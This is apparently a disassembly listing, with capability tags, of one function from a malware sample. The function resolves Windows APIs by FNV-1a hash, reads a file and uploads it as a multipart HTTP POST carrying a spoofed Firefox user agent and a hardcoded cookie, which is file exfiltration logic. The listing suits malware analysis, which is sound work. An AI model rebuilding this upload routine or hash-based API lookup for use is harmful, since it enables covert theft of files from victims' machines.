Function at 0x408b72
Capabilities:
Reference http user-agent string
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 0x50
pop esi
push dword [ebp + 8]
xor edi, edi
mov byte [ebp - 2], 0
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 8], esi
mov byte [ebp - 1], 0
call fcn.004064d0
pop ecx
lea ecx, [ebp - 1]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0xc]
push ecx
mov dword [ebp - 0x28], eax
call fcn.0040887b
add esp, 0x10
test al, al
je 0x408d60
xor eax, eax
cmp dword [ebp - 8], esi
sete al
test byte [ebp - 1], al
je 0x408bd1
mov dword [ebp - 8], 0x1bb
xor eax, eax
push 0xafcab3c4
inc eax
call fcn.00406efb
pop ecx
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 0xc]
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x408d60
xor eax, eax
push 0x44ed8118
inc eax
call fcn.00406efb
pop ecx
push edi
push esi
call eax
mov ebx, eax
push ebx
push esi
call fcn.0040542f
mov dword [ebp - 0x24], eax
xor eax, eax
push 0xf4d8b55
inc eax
call fcn.00406efb
add esp, 0xc
call eax
push 0x104
mov dword [ebp - 0x10], eax
call fcn.00404c49
pop ecx
push dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
push str._r_n______________________________d_r_n
push eax
call dword [0x40c118]
mov esi, dword [ebp + 0xc]
add esp, 0xc
mov dword [ebp - 0x18], eax
call fcn.00405347
mov esi, eax
lea eax, [ebx + 0x3800]
push eax
call fcn.00404c49
pop ecx
mov dword [ebp - 0x14], eax
cmp eax, edi
je 0x408d4e
push esi
push dword [ebp - 0x10]
push esi
push dword [ebp - 0x10]
push str.______________________________d_r_nContent_Disposition:_form_data_name_fname__r_n_r_n_ls_r_n______________________________d_r_nContent_Disposition:_form_data__name_data___filename__ls__r_nContent_Type:_application_octet_stream_r_n_r_n
push eax
call dword [0x40c1cc]
mov esi, eax
add esp, 0x18
cmp esi, 0xffffffff
je 0x408c94
cmp esi, edi
jne 0x408c9b
push edi
call dword [0x40c054]
cmp esi, 0xffffffff
je 0x408d45
mov eax, dword [ebp - 0x14]
push ebx
push dword [ebp - 0x24]
lea edi, [esi + eax]
push edi
call fcn.00404b15
add esp, 0xc
push dword [ebp - 0x18]
add edi, ebx
push dword [ebp - 0x20]
push edi
call fcn.00404b15
add esi, dword [ebp - 0x18]
add esp, 0xc
lea esi, [esi + ebx + 2]
lea eax, [esi + ebx]
push eax
call fcn.00404c49
mov edi, eax
pop ecx
test edi, edi
je 0x408d45
mov eax, dword [ebp + 0x10]
push esi
push dword [ebp - 0x10]
add eax, 0x1144
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x1c]
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nCookie:_authbc00595440e801f8a5d2a2ad13b9791b_uid_ls_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__WOW64__rv:39.0__Gecko_20100101_Firefox_38.0_r_nContent_Type:_multipart_form_data__boundary____________________________d_r_nContent_Length:__d_r_nConnection:_close_r_n_r_n
push edi
call dword [0x40c118]
add esp, 0x1c
push esi
push dword [ebp - 0x14]
mov ebx, eax
lea eax, [ebx + edi]
push eax
call fcn.00404b15
add esp, 0xc
add ebx, esi
push ebx
push edi
push dword [ebp - 8]
xor ebx, ebx
push dword [ebp - 0xc]
cmp byte [ebp - 1], bl
jne 0x408d2b
call fcn.00407388
jmp 0x408d30
call fcn.00403ad5
add esp, 0x10
push eax
mov byte [ebp - 2], 1
call fcn.00404c38
pop ecx
push edi
call fcn.00404c38
pop ecx
push dword [ebp - 0x14]
call fcn.00404c38
pop ecx
push dword [ebp - 0x20]
call fcn.00404c38
pop ecx
push dword [ebp - 0x24]
call fcn.00404c38
pop ecx
push dword [ebp - 0xc]
call fcn.00404c38
pop ecx
push dword [ebp - 0x28]
call fcn.00404c38
cmp byte [ebp - 2], 0
pop ecx
pop edi
pop esi
setne al
pop ebx
leave
ret